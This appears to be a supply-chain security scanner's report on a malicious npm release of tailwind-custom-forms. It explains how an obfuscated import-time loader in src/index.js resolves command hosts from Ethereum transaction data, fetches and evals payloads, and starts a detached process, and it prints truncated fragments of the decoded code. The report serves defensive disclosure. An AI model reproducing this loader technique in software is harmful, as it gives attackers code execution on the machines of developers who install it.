registry / Remote code execution / tailwind-custom-forms

tailwind-custom-forms

A plugin that provides a basic reset for form styles that makes form elements easy to override with utilities.

This report shows the evidence for tailwind-custom-forms@0.5.2. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct inspection confirms concrete obfuscated remote payload retrieval, eval, and detached process execution in the main entrypoint. This is malicious regardless of the absence of install hooks.

Static reason

No blocking static signals were detected.; previous stored version diff introduced dangerous source

Trigger

Any runtime/build that requires src/index.js, including the included Tailwind config.

Impact

Arbitrary code execution and persistence under the invoking user's privileges.

Mechanism

Obfuscated import-time remote-code loader with detached process execution.

Attack narrative

The package's main entrypoint exports the expected Tailwind plugin, then immediately decodes and evaluates hidden code. That code resolves command hosts from Ethereum transaction bytes, fetches XOR-obfuscated payloads, evaluates a payload in-process, and starts another detached Node process. This creates import-time attacker-controlled execution without a lifecycle hook.

AI rationale

Direct inspection confirms concrete obfuscated remote payload retrieval, eval, and detached process execution in the main entrypoint. This is malicious regardless of the absence of install hooks.

Evidence

src/index.jspackage.jsontailwind.config.jsscripts/release-channel.jsscripts/release-notes.js

Network endpoints5

eth.blockscout.com/api1rpc.io/etheth.drpc.orgethereum-rpc.publicnode.cometh-mainnet.public.blastapi.io

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

src/index.js appends obfuscated eval(atob(...)) after the plugin export.
Decoded code runs on module import, queries Ethereum RPCs, and derives remote IPs from transaction data.
Decoded code fetches XOR-obfuscated payloads, evals one, and launches another with detached node -e.
Payload code references process.env.ETH_RPC_URL and non-package network services.

Evidence against

package.json has no preinstall, install, or postinstall hook.
Other inspected scripts only format release metadata/notes.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalFilesystem

Supply chain

HighEntropyStringsMinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 4 file(s), 21.1 KB of source, external domains: www.w3.org

Source & flagged code

4 flagged

src/index.js#virtual:base64:round1View file

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = tailwind-custom-forms@0.5.1 matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.1 similarity = 0.750 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/index.jsView on unpkg

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

Source & flagged code

4 flagged · loading source

src/index.js#virtual:base64:round1View file

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Child Process

Package source references child process execution.

src/index.js#virtual:base64:round1View on unpkg · L1

1global.i="A10-npm-handy";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073")...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

src/index.jsView file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

src/index.jsView on unpkg

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

Findings

3 High1 Medium5 Low

HighChild Processsrc/index.js#virtual:base64:round1

HighSame File Env Network Executionsrc/index.js#virtual:base64:round1

HighPrevious Version Dangerous Deltasrc/index.js

MediumEnvironment Vars

LowScripts Present

LowEvalsrc/index.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to tailwind-custom-forms@0.5.2.

The versions list below shows the verdict for each recorded version.

Avoid installing tailwind-custom-forms@0.5.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-31 18:31:24.820Z (UTC).

Source advisory published: 2026-08-05 09:05:24.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

0.0.1-securitylatestClean—AllowPublishedAug 25, 2026, 3:00 PM 0.5.2shownMaliciousRemote Code ExecutionBlockPublishedAug 2, 2026, 2:58 PM 0.5.1MaliciousMalwareBlockPublishedAug 2, 2026, 5:33 AM 0.5.0MaliciousMalwareBlockPublishedAug 2, 2026, 5:14 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Related packages

Other remote code execution packages

Source & flagged code